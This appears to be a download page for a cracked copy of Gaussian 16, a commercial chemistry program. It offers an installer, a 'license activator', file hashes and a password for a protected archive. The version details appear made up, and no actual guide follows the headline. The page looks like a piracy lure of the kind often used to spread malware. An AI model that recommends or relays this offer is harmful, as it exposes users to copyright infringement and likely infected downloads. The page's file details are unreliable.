Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Gaussian_16_v2.18_x64_setup.zip |
| Version | v2.18.8807 build 38006 |
| File Size | 3.32 GB (3397 MB) |
| MD5 Hash | fcbabfa74a048ac0503765fb57bdd377 |
| SHA-256 | 217f74fdf99dbccedc286ee15f9832adae3a887e6a25b3167564bc0ad6683270 |
| Release Date | 2025-11-14 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | mirror2026 |
| License Type | Lifetime License |
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